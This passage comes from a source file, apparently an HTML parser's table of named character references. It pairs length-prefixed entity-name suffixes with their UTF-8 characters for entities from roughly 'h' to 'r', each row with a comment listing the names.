			"\x08ertneqq;\x06≩︀\x03nE;\x06≩︀",
			// hArr;[⇔].
			"\x03rr;\x03⇔",
			// harrcir;[⥈] hairsp;[ ] hamilt;[ℋ] hardcy;[ъ] harrw;[↭] half;[½] harr;[↔].
			"\x06rrcir;\x03⥈\x05irsp;\x03 \x05milt;\x03ℋ\x05rdcy;\x02ъ\x04rrw;\x03↭\x03lf;\x02½\x03rr;\x03↔",
			// hbar;[ℏ].
			"\x03ar;\x03ℏ",
			// hcirc;[ĥ].
			"\x04irc;\x02ĥ",
			// heartsuit;[♥] hearts;[♥] hellip;[…] hercon;[⊹].
			"\x08artsuit;\x03♥\x05arts;\x03♥\x05llip;\x03…\x05rcon;\x03⊹",
			// hfr;[𝔥].
			"\x02r;\x04𝔥",
			// hksearow;[⤥] hkswarow;[⤦].
			"\x07searow;\x03⤥\x07swarow;\x03⤦",
			// hookrightarrow;[↪] hookleftarrow;[↩] homtht;[∻] horbar;[―] hoarr;[⇿] hopf;[𝕙].
			"\x0dokrightarrow;\x03↪\x0cokleftarrow;\x03↩\x05mtht;\x03∻\x05rbar;\x03―\x04arr;\x03⇿\x03pf;\x04𝕙",
			// hslash;[ℏ] hstrok;[ħ] hscr;[𝒽].
			"\x05lash;\x03ℏ\x05trok;\x02ħ\x03cr;\x04𝒽",
			// hybull;[⁃] hyphen;[‐].
			"\x05bull;\x03⁃\x05phen;\x03‐",
			// iacute;[í] iacute[í].
			"\x05cute;\x02í\x04cute\x02í",
			// icirc;[î] icirc[î] icy;[и] ic;[⁣].
			"\x04irc;\x02î\x03irc\x02î\x02y;\x02и\x01;\x03⁣",
			// iexcl;[¡] iecy;[е] iexcl[¡].
			"\x04xcl;\x02¡\x03cy;\x02е\x03xcl\x02¡",
			// iff;[⇔] ifr;[𝔦].
			"\x02f;\x03⇔\x02r;\x04𝔦",
			// igrave;[ì] igrave[ì].
			"\x05rave;\x02ì\x04rave\x02ì",
			// iiiint;[⨌] iinfin;[⧜] iiint;[∭] iiota;[℩] ii;[ⅈ].
			"\x05iint;\x03⨌\x05nfin;\x03⧜\x04int;\x03∭\x04ota;\x03℩\x01;\x03ⅈ",
			// ijlig;[ij].
			"\x04lig;\x02ij",
			// imagline;[ℐ] imagpart;[ℑ] imacr;[ī] image;[ℑ] imath;[ı] imped;[Ƶ] imof;[⊷].
			"\x07agline;\x03ℐ\x07agpart;\x03ℑ\x04acr;\x02ī\x04age;\x03ℑ\x04ath;\x02ı\x04ped;\x02Ƶ\x03of;\x03⊷",
			// infintie;[⧝] integers;[ℤ] intercal;[⊺] intlarhk;[⨗] intprod;[⨼] incare;[℅] inodot;[ı] intcal;[⊺] infin;[∞] int;[∫] in;[∈].
			"\x07fintie;\x03⧝\x07tegers;\x03ℤ\x07tercal;\x03⊺\x07tlarhk;\x03⨗\x06tprod;\x03⨼\x05care;\x03℅\x05odot;\x02ı\x05tcal;\x03⊺\x04fin;\x03∞\x02t;\x03∫\x01;\x03∈",
			// iogon;[į] iocy;[ё] iopf;[𝕚] iota;[ι].
			"\x04gon;\x02į\x03cy;\x02ё\x03pf;\x04𝕚\x03ta;\x02ι",
			// iprod;[⨼].
			"\x04rod;\x03⨼",
			// iquest;[¿] iquest[¿].
			"\x05uest;\x02¿\x04uest\x02¿",
			// isindot;[⋵] isinsv;[⋳] isinE;[⋹] isins;[⋴] isinv;[∈] iscr;[𝒾] isin;[∈].
			"\x06indot;\x03⋵\x05insv;\x03⋳\x04inE;\x03⋹\x04ins;\x03⋴\x04inv;\x03∈\x03cr;\x04𝒾\x03in;\x03∈",
			// itilde;[ĩ] it;[⁢].
			"\x05ilde;\x02ĩ\x01;\x03⁢",
			// iukcy;[і] iuml;[ï] iuml[ï].
			"\x04kcy;\x02і\x03ml;\x02ï\x02ml\x02ï",
			// jcirc;[ĵ] jcy;[й].
			"\x04irc;\x02ĵ\x02y;\x02й",
			// jfr;[𝔧].
			"\x02r;\x04𝔧",
			// jmath;[ȷ].
			"\x04ath;\x02ȷ",
			// jopf;[𝕛].
			"\x03pf;\x04𝕛",
			// jsercy;[ј] jscr;[𝒿].
			"\x05ercy;\x02ј\x03cr;\x04𝒿",
			// jukcy;[є].
			"\x04kcy;\x02є",
			// kappav;[ϰ] kappa;[κ].
			"\x05ppav;\x02ϰ\x04ppa;\x02κ",
			// kcedil;[ķ] kcy;[к].
			"\x05edil;\x02ķ\x02y;\x02к",
			// kfr;[𝔨].
			"\x02r;\x04𝔨",
			// kgreen;[ĸ].
			"\x05reen;\x02ĸ",
			// khcy;[х].
			"\x03cy;\x02х",
			// kjcy;[ќ].
			"\x03cy;\x02ќ",
			// kopf;[𝕜].
			"\x03pf;\x04𝕜",
			// kscr;[𝓀].
			"\x03cr;\x04𝓀",
			// lAtail;[⤛] lAarr;[⇚] lArr;[⇐].
			"\x05tail;\x03⤛\x04arr;\x03⇚\x03rr;\x03⇐",
			// lBarr;[⤎].
			"\x04arr;\x03⤎",
			// lEg;[⪋] lE;[≦].
			"\x02g;\x03⪋\x01;\x03≦",
			// lHar;[⥢].
			"\x03ar;\x03⥢",
			// laemptyv;[⦴] larrbfs;[⤟] larrsim;[⥳] lacute;[ĺ] lagran;[ℒ] lambda;[λ] langle;[⟨] larrfs;[⤝] larrhk;[↩] larrlp;[↫] larrpl;[⤹] larrtl;[↢] latail;[⤙] langd;[⦑] laquo;[«] larrb;[⇤] lates;[⪭︀] lang;[⟨] laquo[«] larr;[←] late;[⪭] lap;[⪅] lat;[⪫].
			"\x07emptyv;\x03⦴\x06rrbfs;\x03⤟\x06rrsim;\x03⥳\x05cute;\x02ĺ\x05gran;\x03ℒ\x05mbda;\x02λ\x05ngle;\x03⟨\x05rrfs;\x03⤝\x05rrhk;\x03↩\x05rrlp;\x03↫\x05rrpl;\x03⤹\x05rrtl;\x03↢\x05tail;\x03⤙\x04ngd;\x03⦑\x04quo;\x02«\x04rrb;\x03⇤\x04tes;\x06⪭︀\x03ng;\x03⟨\x03quo\x02«\x03rr;\x03←\x03te;\x03⪭\x02p;\x03⪅\x02t;\x03⪫",
			// lbrksld;[⦏] lbrkslu;[⦍] lbrace;[{] lbrack;[[] lbarr;[⤌] lbbrk;[❲] lbrke;[⦋].
			"\x06rksld;\x03⦏\x06rkslu;\x03⦍\x05race;\x01{\x05rack;\x01[\x04arr;\x03⤌\x04brk;\x03❲\x04rke;\x03⦋",
			// lcaron;[ľ] lcedil;[ļ] lceil;[⌈] lcub;[{] lcy;[л].
			"\x05aron;\x02ľ\x05edil;\x02ļ\x04eil;\x03⌈\x03ub;\x01{\x02y;\x02л",
			// ldrushar;[⥋] ldrdhar;[⥧] ldquor;[„] ldquo;[“] ldca;[⤶] ldsh;[↲].
			"\x07rushar;\x03⥋\x06rdhar;\x03⥧\x05quor;\x03„\x04quo;\x03“\x03ca;\x03⤶\x03sh;\x03↲",
			// leftrightsquigarrow;[↭] leftrightharpoons;[⇋] leftharpoondown;[↽] leftrightarrows;[⇆] leftleftarrows;[⇇] leftrightarrow;[↔] leftthreetimes;[⋋] leftarrowtail;[↢] leftharpoonup;[↼] lessapprox;[⪅] lesseqqgtr;[⪋] leftarrow;[←] lesseqgtr;[⋚] leqslant;[⩽] lesdotor;[⪃] lesdoto;[⪁] lessdot;[⋖] lessgtr;[≶] lesssim;[≲] lesdot;[⩿] lesges;[⪓] lescc;[⪨] leqq;[≦] lesg;[⋚︀] leg;[⋚] leq;[≤] les;[⩽] le;[≤].
			"\x12ftrightsquigarrow;\x03↭\x10ftrightharpoons;\x03⇋\x0eftharpoondown;\x03↽\x0eftrightarrows;\x03⇆\x0dftleftarrows;\x03⇇\x0dftrightarrow;\x03↔\x0dftthreetimes;\x03⋋\x0cftarrowtail;\x03↢\x0cftharpoonup;\x03↼\x09ssapprox;\x03⪅\x09sseqqgtr;\x03⪋\x08ftarrow;\x03←\x08sseqgtr;\x03⋚\x07qslant;\x03⩽\x07sdotor;\x03⪃\x06sdoto;\x03⪁\x06ssdot;\x03⋖\x06ssgtr;\x03≶\x06sssim;\x03≲\x05sdot;\x03⩿\x05sges;\x03⪓\x04scc;\x03⪨\x03qq;\x03≦\x03sg;\x06⋚︀\x02g;\x03⋚\x02q;\x03≤\x02s;\x03⩽\x01;\x03≤",
			// lfisht;[⥼] lfloor;[⌊] lfr;[𝔩].
			"\x05isht;\x03⥼\x05loor;\x03⌊\x02r;\x04𝔩",
			// lgE;[⪑] lg;[≶].
			"\x02E;\x03⪑\x01;\x03≶",
			// lharul;[⥪] lhard;[↽] lharu;[↼] lhblk;[▄].
			"\x05arul;\x03⥪\x04ard;\x03↽\x04aru;\x03↼\x04blk;\x03▄",
			// ljcy;[љ].
			"\x03cy;\x02љ",
			// llcorner;[⌞] llhard;[⥫] llarr;[⇇] lltri;[◺] ll;[≪].
			"\x07corner;\x03⌞\x05hard;\x03⥫\x04arr;\x03⇇\x04tri;\x03◺\x01;\x03≪",
			// lmoustache;[⎰] lmidot;[ŀ] lmoust;[⎰].
			"\x09oustache;\x03⎰\x05idot;\x02ŀ\x05oust;\x03⎰",
			// lnapprox;[⪉] lneqq;[≨] lnsim;[⋦] lnap;[⪉] lneq;[⪇] lnE;[≨] lne;[⪇].
			"\x07approx;\x03⪉\x04eqq;\x03≨\x04sim;\x03⋦\x03ap;\x03⪉\x03eq;\x03⪇\x02E;\x03≨\x02e;\x03⪇",
			// longleftrightarrow;[⟷] longrightarrow;[⟶] looparrowright;[↬] longleftarrow;[⟵] looparrowleft;[↫] longmapsto;[⟼] lotimes;[⨴] lozenge;[◊] loplus;[⨭] lowast;[∗] lowbar;[_] loang;[⟬] loarr;[⇽] lobrk;[⟦] lopar;[⦅] lopf;[𝕝] lozf;[⧫] loz;[◊].
			"\x11ngleftrightarrow;\x03⟷\x0dngrightarrow;\x03⟶\x0doparrowright;\x03↬\x0cngleftarrow;\x03⟵\x0coparrowleft;\x03↫\x09ngmapsto;\x03⟼\x06times;\x03⨴\x06zenge;\x03◊\x05plus;\x03⨭\x05wast;\x03∗\x05wbar;\x01_\x04ang;\x03⟬\x04arr;\x03⇽\x04brk;\x03⟦\x04par;\x03⦅\x03pf;\x04𝕝\x03zf;\x03⧫\x02z;\x03◊",
			// lparlt;[⦓] lpar;[(].
			"\x05arlt;\x03⦓\x03ar;\x01(",
			// lrcorner;[⌟] lrhard;[⥭] lrarr;[⇆] lrhar;[⇋] lrtri;[⊿] lrm;[‎].
			"\x07corner;\x03⌟\x05hard;\x03⥭\x04arr;\x03⇆\x04har;\x03⇋\x04tri;\x03⊿\x02m;\x03‎",
			// lsaquo;[‹] lsquor;[‚] lstrok;[ł] lsime;[⪍] lsimg;[⪏] lsquo;[‘] lscr;[𝓁] lsim;[≲] lsqb;[[] lsh;[↰].
			"\x05aquo;\x03‹\x05quor;\x03‚\x05trok;\x02ł\x04ime;\x03⪍\x04img;\x03⪏\x04quo;\x03‘\x03cr;\x04𝓁\x03im;\x03≲\x03qb;\x01[\x02h;\x03↰",
			// ltquest;[⩻] lthree;[⋋] ltimes;[⋉] ltlarr;[⥶] ltrPar;[⦖] ltcir;[⩹] ltdot;[⋖] ltrie;[⊴] ltrif;[◂] ltcc;[⪦] ltri;[◃] lt;[<].
			"\x06quest;\x03⩻\x05hree;\x03⋋\x05imes;\x03⋉\x05larr;\x03⥶\x05rPar;\x03⦖\x04cir;\x03⩹\x04dot;\x03⋖\x04rie;\x03⊴\x04rif;\x03◂\x03cc;\x03⪦\x03ri;\x03◃\x01;\x01<",
			// lurdshar;[⥊] luruhar;[⥦].
			"\x07rdshar;\x03⥊\x06ruhar;\x03⥦",
			// lvertneqq;[≨︀] lvnE;[≨︀].
			"\x08ertneqq;\x06≨︀\x03nE;\x06≨︀",
			// mDDot;[∺].
			"\x04Dot;\x03∺",
			// mapstodown;[↧] mapstoleft;[↤] mapstoup;[↥] maltese;[✠] mapsto;[↦] marker;[▮] macr;[¯] male;[♂] malt;[✠] macr[¯] map;[↦].
			"\x09pstodown;\x03↧\x09pstoleft;\x03↤\x07pstoup;\x03↥\x06ltese;\x03✠\x05psto;\x03↦\x05rker;\x03▮\x03cr;\x02¯\x03le;\x03♂\x03lt;\x03✠\x02cr\x02¯\x02p;\x03↦",
			// mcomma;[⨩] mcy;[м].
			"\x05omma;\x03⨩\x02y;\x02м",
			// mdash;[—].
			"\x04ash;\x03—",
			// measuredangle;[∡].
			"\x0casuredangle;\x03∡",
			// mfr;[𝔪].
			"\x02r;\x04𝔪",
			// mho;[℧].
			"\x02o;\x03℧",
			// minusdu;[⨪] midast;[*] midcir;[⫰] middot;[·] minusb;[⊟] minusd;[∸] micro;[µ] middot[·] minus;[−] micro[µ] mid;[∣].
			"\x06nusdu;\x03⨪\x05dast;\x01*\x05dcir;\x03⫰\x05ddot;\x02·\x05nusb;\x03⊟\x05nusd;\x03∸\x04cro;\x02µ\x04ddot\x02·\x04nus;\x03−\x03cro\x02µ\x02d;\x03∣",
			// mlcp;[⫛] mldr;[…].
			"\x03cp;\x03⫛\x03dr;\x03…",
			// mnplus;[∓].
			"\x05plus;\x03∓",
			// models;[⊧] mopf;[𝕞].
			"\x05dels;\x03⊧\x03pf;\x04𝕞",
			// mp;[∓].
			"\x01;\x03∓",
			// mstpos;[∾] mscr;[𝓂].
			"\x05tpos;\x03∾\x03cr;\x04𝓂",
			// multimap;[⊸] mumap;[⊸] mu;[μ].
			"\x07ltimap;\x03⊸\x04map;\x03⊸\x01;\x02μ",
			// nGtv;[≫̸] nGg;[⋙̸] nGt;[≫⃒].
			"\x03tv;\x05≫̸\x02g;\x05⋙̸\x02t;\x06≫⃒",
			// nLeftrightarrow;[⇎] nLeftarrow;[⇍] nLtv;[≪̸] nLl;[⋘̸] nLt;[≪⃒].
			"\x0eeftrightarrow;\x03⇎\x09eftarrow;\x03⇍\x03tv;\x05≪̸\x02l;\x05⋘̸\x02t;\x06≪⃒",
			// nRightarrow;[⇏].
			"\x0aightarrow;\x03⇏",
			// nVDash;[⊯] nVdash;[⊮].
			"\x05Dash;\x03⊯\x05dash;\x03⊮",
			// naturals;[ℕ] napprox;[≉] natural;[♮] nacute;[ń] nabla;[∇] napid;[≋̸] napos;[ʼn] natur;[♮] nang;[∠⃒] napE;[⩰̸] nap;[≉].
			"\x07turals;\x03ℕ\x06pprox;\x03≉\x06tural;\x03♮\x05cute;\x02ń\x04bla;\x03∇\x04pid;\x05≋̸\x04pos;\x02ʼn\x04tur;\x03♮\x03ng;\x06∠⃒\x03pE;\x05⩰̸\x02p;\x03≉",
			// nbumpe;[≏̸] nbump;[≎̸] nbsp;[ ] nbsp[ ].
			"\x05umpe;\x05≏̸\x04ump;\x05≎̸\x03sp;\x02 \x02sp\x02 ",
			// ncongdot;[⩭̸] ncaron;[ň] ncedil;[ņ] ncong;[≇] ncap;[⩃] ncup;[⩂] ncy;[н].
			"\x07ongdot;\x05⩭̸\x05aron;\x02ň\x05edil;\x02ņ\x04ong;\x03≇\x03ap;\x03⩃\x03up;\x03⩂\x02y;\x02н",
			// ndash;[–].
			"\x04ash;\x03–",
			// nearrow;[↗] nexists;[∄] nearhk;[⤤] nequiv;[≢] nesear;[⤨] nexist;[∄] neArr;[⇗] nearr;[↗] nedot;[≐̸] nesim;[≂̸] ne;[≠].
			"\x06arrow;\x03↗\x06xists;\x03∄\x05arhk;\x03⤤\x05quiv;\x03≢\x05sear;\x03⤨\x05xist;\x03∄\x04Arr;\x03⇗\x04arr;\x03↗\x04dot;\x05≐̸\x04sim;\x05≂̸\x01;\x03≠",
			// nfr;[𝔫].
			"\x02r;\x04𝔫",
			// ngeqslant;[⩾̸] ngeqq;[≧̸] ngsim;[≵] ngeq;[≱] nges;[⩾̸] ngtr;[≯] ngE;[≧̸] nge;[≱] ngt;[≯].
			"\x08eqslant;\x05⩾̸\x04eqq;\x05≧̸\x04sim;\x03≵\x03eq;\x03≱\x03es;\x05⩾̸\x03tr;\x03≯\x02E;\x05≧̸\x02e;\x03≱\x02t;\x03≯",
			// nhArr;[⇎] nharr;[↮] nhpar;[⫲].
			"\x04Arr;\x03⇎\x04arr;\x03↮\x04par;\x03⫲",
			// nisd;[⋺] nis;[⋼] niv;[∋] ni;[∋].
			"\x03sd;\x03⋺\x02s;\x03⋼\x02v;\x03∋\x01;\x03∋",
			// njcy;[њ].
			"\x03cy;\x02њ",
			// nleftrightarrow;[↮] nleftarrow;[↚] nleqslant;[⩽̸] nltrie;[⋬] nlArr;[⇍] nlarr;[↚] nleqq;[≦̸] nless;[≮] nlsim;[≴] nltri;[⋪] nldr;[‥] nleq;[≰] nles;[⩽̸] nlE;[≦̸] nle;[≰] nlt;[≮].
			"\x0eeftrightarrow;\x03↮\x09eftarrow;\x03↚\x08eqslant;\x05⩽̸\x05trie;\x03⋬\x04Arr;\x03⇍\x04arr;\x03↚\x04eqq;\x05≦̸\x04ess;\x03≮\x04sim;\x03≴\x04tri;\x03⋪\x03dr;\x03‥\x03eq;\x03≰\x03es;\x05⩽̸\x02E;\x05≦̸\x02e;\x03≰\x02t;\x03≮",
			// nmid;[∤].
			"\x03id;\x03∤",
			// notindot;[⋵̸] notinva;[∉] notinvb;[⋷] notinvc;[⋶] notniva;[∌] notnivb;[⋾] notnivc;[⋽] notinE;[⋹̸] notin;[∉] notni;[∌] nopf;[𝕟] not;[¬] not[¬].
			"\x07tindot;\x05⋵̸\x06tinva;\x03∉\x06tinvb;\x03⋷\x06tinvc;\x03⋶\x06tniva;\x03∌\x06tnivb;\x03⋾\x06tnivc;\x03⋽\x05tinE;\x05⋹̸\x04tin;\x03∉\x04tni;\x03∌\x03pf;\x04𝕟\x02t;\x02¬\x01t\x02¬",
			// nparallel;[∦] npolint;[⨔] npreceq;[⪯̸] nparsl;[⫽⃥] nprcue;[⋠] npart;[∂̸] nprec;[⊀] npar;[∦] npre;[⪯̸] npr;[⊀].
			"\x08arallel;\x03∦\x06olint;\x03⨔\x06receq;\x05⪯̸\x05arsl;\x06⫽⃥\x05rcue;\x03⋠\x04art;\x05∂̸\x04rec;\x03⊀\x03ar;\x03∦\x03re;\x05⪯̸\x02r;\x03⊀",
			// nrightarrow;[↛] nrarrc;[⤳̸] nrarrw;[↝̸] nrtrie;[⋭] nrArr;[⇏] nrarr;[↛] nrtri;[⋫].
			"\x0aightarrow;\x03↛\x05arrc;\x05⤳̸\x05arrw;\x05↝̸\x05trie;\x03⋭\x04Arr;\x03⇏\x04arr;\x03↛\x04tri;\x03⋫",
			// nshortparallel;[∦] nsubseteqq;[⫅̸] nsupseteqq;[⫆̸] nshortmid;[∤] nsubseteq;[⊈] nsupseteq;[⊉] nsqsube;[⋢] nsqsupe;[⋣] nsubset;[⊂⃒] nsucceq;[⪰̸] nsupset;[⊃⃒] nsccue;[⋡] nsimeq;[≄] nsime;[≄] nsmid;[∤] nspar;[∦] nsubE;[⫅̸] nsube;[⊈] nsucc;[⊁] nsupE;[⫆̸] nsupe;[⊉] nsce;[⪰̸] nscr;[𝓃] nsim;[≁] nsub;[⊄] nsup;[⊅] nsc;[⊁].
			"\x0dhortparallel;\x03∦\x09ubseteqq;\x05⫅̸\x09upseteqq;\x05⫆̸\x08hortmid;\x03∤\x08ubseteq;\x03⊈\x08upseteq;\x03⊉\x06qsube;\x03⋢\x06qsupe;\x03⋣\x06ubset;\x06⊂⃒\x06ucceq;\x05⪰̸\x06upset;\x06⊃⃒\x05ccue;\x03⋡\x05imeq;\x03≄\x04ime;\x03≄\x04mid;\x03∤\x04par;\x03∦\x04ubE;\x05⫅̸\x04ube;\x03⊈\x04ucc;\x03⊁\x04upE;\x05⫆̸\x04upe;\x03⊉\x03ce;\x05⪰̸\x03cr;\x04𝓃\x03im;\x03≁\x03ub;\x03⊄\x03up;\x03⊅\x02c;\x03⊁",
			// ntrianglerighteq;[⋭] ntrianglelefteq;[⋬] ntriangleright;[⋫] ntriangleleft;[⋪] ntilde;[ñ] ntilde[ñ] ntgl;[≹] ntlg;[≸].
			"\x0frianglerighteq;\x03⋭\x0erianglelefteq;\x03⋬\x0driangleright;\x03⋫\x0criangleleft;\x03⋪\x05ilde;\x02ñ\x04ilde\x02ñ\x03gl;\x03≹\x03lg;\x03≸",
			// numero;[№] numsp;[ ] num;[#] nu;[ν].
			"\x05mero;\x03№\x04msp;\x03 \x02m;\x01#\x01;\x02ν",
			// nvinfin;[⧞] nvltrie;[⊴⃒] nvrtrie;[⊵⃒] nvDash;[⊭] nvHarr;[⤄] nvdash;[⊬] nvlArr;[⤂] nvrArr;[⤃] nvsim;[∼⃒] nvap;[≍⃒] nvge;[≥⃒] nvgt;[>⃒] nvle;[≤⃒] nvlt;[<⃒].
			"\x06infin;\x03⧞\x06ltrie;\x06⊴⃒\x06rtrie;\x06⊵⃒\x05Dash;\x03⊭\x05Harr;\x03⤄\x05dash;\x03⊬\x05lArr;\x03⤂\x05rArr;\x03⤃\x04sim;\x06∼⃒\x03ap;\x06≍⃒\x03ge;\x06≥⃒\x03gt;\x04>⃒\x03le;\x06≤⃒\x03lt;\x04<⃒",
			// nwarrow;[↖] nwarhk;[⤣] nwnear;[⤧] nwArr;[⇖] nwarr;[↖].
			"\x06arrow;\x03↖\x05arhk;\x03⤣\x05near;\x03⤧\x04Arr;\x03⇖\x04arr;\x03↖",
			// oS;[Ⓢ].
			"\x01;\x03Ⓢ",
			// oacute;[ó] oacute[ó] oast;[⊛].
			"\x05cute;\x02ó\x04cute\x02ó\x03st;\x03⊛",
			// ocirc;[ô] ocir;[⊚] ocirc[ô] ocy;[о].
			"\x04irc;\x02ô\x03ir;\x03⊚\x03irc\x02ô\x02y;\x02о",
			// odblac;[ő] odsold;[⦼] odash;[⊝] odiv;[⨸] odot;[⊙].
			"\x05blac;\x02ő\x05sold;\x03⦼\x04ash;\x03⊝\x03iv;\x03⨸\x03ot;\x03⊙",
			// oelig;[œ].
			"\x04lig;\x02œ",
			// ofcir;[⦿] ofr;[𝔬].
			"\x04cir;\x03⦿\x02r;\x04𝔬",
			// ograve;[ò] ograve[ò] ogon;[˛] ogt;[⧁].
			"\x05rave;\x02ò\x04rave\x02ò\x03on;\x02˛\x02t;\x03⧁",
			// ohbar;[⦵] ohm;[Ω].
			"\x04bar;\x03⦵\x02m;\x02Ω",
			// oint;[∮].
			"\x03nt;\x03∮",
			// olcross;[⦻] olarr;[↺] olcir;[⦾] oline;[‾] olt;[⧀].
			"\x06cross;\x03⦻\x04arr;\x03↺\x04cir;\x03⦾\x04ine;\x03‾\x02t;\x03⧀",
			// omicron;[ο] ominus;[⊖] omacr;[ō] omega;[ω] omid;[⦶].
			"\x06icron;\x02ο\x05inus;\x03⊖\x04acr;\x02ō\x04ega;\x02ω\x03id;\x03⦶",
			// oopf;[𝕠].
			"\x03pf;\x04𝕠",
			// operp;[⦹] oplus;[⊕] opar;[⦷].
			"\x04erp;\x03⦹\x04lus;\x03⊕\x03ar;\x03⦷",
			// orderof;[ℴ] orslope;[⩗] origof;[⊶] orarr;[↻] order;[ℴ] ordf;[ª] ordm;[º] oror;[⩖] ord;[⩝] ordf[ª] ordm[º] orv;[⩛] or;[∨].
			"\x06derof;\x03ℴ\x06slope;\x03⩗\x05igof;\x03⊶\x04arr;\x03↻\x04der;\x03ℴ\x03df;\x02ª\x03dm;\x02º\x03or;\x03⩖\x02d;\x03⩝\x02df\x02ª\x02dm\x02º\x02v;\x03⩛\x01;\x03∨",
			// oslash;[ø] oslash[ø] oscr;[ℴ] osol;[⊘].
			"\x05lash;\x02ø\x04lash\x02ø\x03cr;\x03ℴ\x03ol;\x03⊘",
			// otimesas;[⨶] otilde;[õ] otimes;[⊗] otilde[õ].
			"\x07imesas;\x03⨶\x05ilde;\x02õ\x05imes;\x03⊗\x04ilde\x02õ",
			// ouml;[ö] ouml[ö].
			"\x03ml;\x02ö\x02ml\x02ö",
			// ovbar;[⌽].
			"\x04bar;\x03⌽",
			// parallel;[∥] parsim;[⫳] parsl;[⫽] para;[¶] part;[∂] par;[∥] para[¶].
			"\x07rallel;\x03∥\x05rsim;\x03⫳\x04rsl;\x03⫽\x03ra;\x02¶\x03rt;\x03∂\x02r;\x03∥\x02ra\x02¶",
			// pcy;[п].
			"\x02y;\x02п",
			// pertenk;[‱] percnt;[%] period;[.] permil;[‰] perp;[⊥].
			"\x06rtenk;\x03‱\x05rcnt;\x01%\x05riod;\x01.\x05rmil;\x03‰\x03rp;\x03⊥",
			// pfr;[𝔭].
			"\x02r;\x04𝔭",
			// phmmat;[ℳ] phone;[☎] phiv;[ϕ] phi;[φ].
			"\x05mmat;\x03ℳ\x04one;\x03☎\x03iv;\x02ϕ\x02i;\x02φ",
			// pitchfork;[⋔] piv;[ϖ] pi;[π].
			"\x08tchfork;\x03⋔\x02v;\x02ϖ\x01;\x02π",
			// plusacir;[⨣] planckh;[ℎ] pluscir;[⨢] plussim;[⨦] plustwo;[⨧] planck;[ℏ] plankv;[ℏ] plusdo;[∔] plusdu;[⨥] plusmn;[±] plusb;[⊞] pluse;[⩲] plusmn[±] plus;[+].
			"\x07usacir;\x03⨣\x06anckh;\x03ℎ\x06uscir;\x03⨢\x06ussim;\x03⨦\x06ustwo;\x03⨧\x05anck;\x03ℏ\x05ankv;\x03ℏ\x05usdo;\x03∔\x05usdu;\x03⨥\x05usmn;\x02±\x04usb;\x03⊞\x04use;\x03⩲\x04usmn\x02±\x03us;\x01+",
			// pm;[±].
			"\x01;\x02±",
			// pointint;[⨕] pound;[£] popf;[𝕡] pound[£].
			"\x07intint;\x03⨕\x04und;\x02£\x03pf;\x04𝕡\x03und\x02£",
			// preccurlyeq;[≼] precnapprox;[⪹] precapprox;[⪷] precneqq;[⪵] precnsim;[⋨] profalar;[⌮] profline;[⌒] profsurf;[⌓] precsim;[≾] preceq;[⪯] primes;[ℙ] prnsim;[⋨] propto;[∝] prurel;[⊰] prcue;[≼] prime;[′] prnap;[⪹] prsim;[≾] prap;[⪷] prec;[≺] prnE;[⪵] prod;[∏] prop;[∝] prE;[⪳] pre;[⪯] pr;[≺].
			"\x0aeccurlyeq;\x03≼\x0aecnapprox;\x03⪹\x09ecapprox;\x03⪷\x07ecneqq;\x03⪵\x07ecnsim;\x03⋨\x07ofalar;\x03⌮\x07ofline;\x03⌒\x07ofsurf;\x03⌓\x06ecsim;\x03≾\x05eceq;\x03⪯\x05imes;\x03ℙ\x05nsim;\x03⋨\x05opto;\x03∝\x05urel;\x03⊰\x04cue;\x03≼\x04ime;\x03′\x04nap;\x03⪹\x04sim;\x03≾\x03ap;\x03⪷\x03ec;\x03≺\x03nE;\x03⪵\x03od;\x03∏\x03op;\x03∝\x02E;\x03⪳\x02e;\x03⪯\x01;\x03≺",
			// pscr;[𝓅] psi;[ψ].
			"\x03cr;\x04𝓅\x02i;\x02ψ",
			// puncsp;[ ].
			"\x05ncsp;\x03 ",
			// qfr;[𝔮].
			"\x02r;\x04𝔮",
			// qint;[⨌].
			"\x03nt;\x03⨌",
			// qopf;[𝕢].
			"\x03pf;\x04𝕢",
			// qprime;[⁗].
			"\x05rime;\x03⁗",
			// qscr;[𝓆].
			"\x03cr;\x04𝓆",
			// quaternions;[ℍ] quatint;[⨖] questeq;[≟] quest;[?] quot;[\"] quot[\"].
			"\x0aaternions;\x03ℍ\x06atint;\x03⨖\x06esteq;\x03≟\x04est;\x01?\x03ot;\x01\"\x02ot\x01\"",
			// rAtail;[⤜] rAarr;[⇛] rArr;[⇒].
			"\x05tail;\x03⤜\x04arr;\x03⇛\x03rr;\x03⇒",
			// rBarr;[⤏].
			"\x04arr;\x03⤏",
			// rHar;[⥤].
			"\x03ar;\x03⥤",
			// rationals;[ℚ] raemptyv;[⦳] rarrbfs;[⤠] rarrsim;[⥴] racute;[ŕ] rangle;[⟩] rarrap;[⥵] rarrfs;[⤞] rarrhk;[↪] rarrlp;[↬] rarrpl;[⥅] rarrtl;[↣] ratail;[⤚] radic;[√] rangd;[⦒] range;[⦥] raquo;[»] rarrb;[⇥] rarrc;[⤳] rarrw;[↝] ratio;[∶] race;[∽̱] rang;[⟩] raquo[»] rarr;[→].
			"\x08tionals;\x03ℚ\x07emptyv;\x03⦳\x06rrbfs;\x03⤠\x06rrsim;\x03⥴\x05cute;\x02ŕ\x05ngle;\x03⟩\x05rrap;\x03⥵\x05rrfs;\x03⤞\x05rrhk;\x03↪\x05rrlp;\x03↬\x05rrpl;\x03⥅\x05rrtl;\x03↣\x05tail;\x03⤚\x04dic;\x03√\x04ngd;\x03⦒\x04nge;\x03⦥\x04quo;\x02»\x04rrb;\x03⇥\x04rrc;\x03⤳\x04rrw;\x03↝\x04tio;\x03∶\x03ce;\x05∽̱\x03ng;\x03⟩\x03quo\x02»\x03rr;\x03→",
			// rbrksld;[⦎] rbrkslu;[⦐] rbrace;[}] rbrack;[]] rbarr;[⤍] rbbrk;[❳] rbrke;[⦌].
			"\x06rksld;\x03⦎\x06rkslu;\x03⦐\x05race;\x01}\x05rack;\x01]\x04arr;\x03⤍\x04brk;\x03❳\x04rke;\x03⦌",
			// rcaron;[ř] rcedil;[ŗ] rceil;[⌉] rcub;[}] rcy;[р].
			"\x05aron;\x02ř\x05edil;\x02ŗ\x04eil;\x03⌉\x03ub;\x01}\x02y;\x02р",
			// rdldhar;[⥩] rdquor;[”] rdquo;[”] rdca;[⤷] rdsh;[↳].
			"\x06ldhar;\x03⥩\x05quor;\x03”\x04quo;\x03”\x03ca;\x03⤷\x03sh;\x03↳",
			// realpart;[ℜ] realine;[ℛ] reals;[ℝ] real;[ℜ] rect;[▭] reg;[®] reg[®].
			"\x07alpart;\x03ℜ\x06aline;\x03ℛ\x04als;\x03ℝ\x03al;\x03ℜ\x03ct;\x03▭\x02g;\x02®\x01g\x02®",
